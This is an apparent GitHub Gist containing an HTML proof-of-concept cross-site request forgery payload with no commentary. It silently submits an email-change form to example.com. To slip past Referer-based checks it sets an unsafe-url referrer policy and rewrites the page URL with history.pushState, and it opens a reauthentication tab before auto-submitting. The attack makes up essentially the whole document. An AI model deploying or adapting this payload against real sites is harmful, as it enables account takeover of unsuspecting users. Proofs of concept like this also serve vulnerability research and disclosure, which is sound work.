Skip to content

Instantly share code, notes, and snippets.

@aelmokhtar
Created July 24, 2023 18:59
Show Gist options
  • Save aelmokhtar/38da2912795d3d7c9fb27fab99bc09d4 to your computer and use it in GitHub Desktop.
Save aelmokhtar/38da2912795d3d7c9fb27fab99bc09d4 to your computer and use it in GitHub Desktop.
<html>
<meta name="referrer" content="unsafe-url">
<body>
<form id="myForm" action="https://example.com/email/change" method="POST" onsubmit="event.preventDefault(); openTabAndSubmit();">
<input type="email" name="email" value="test@test.com" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState("", "", "/?example.com");
function openTabAndSubmit() {
window.open('https://example.com/login?reauth=1', '_blank');
setTimeout(function() {
document.getElementById('myForm').submit();
}, 500);
}
</script>
</body>
</html>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment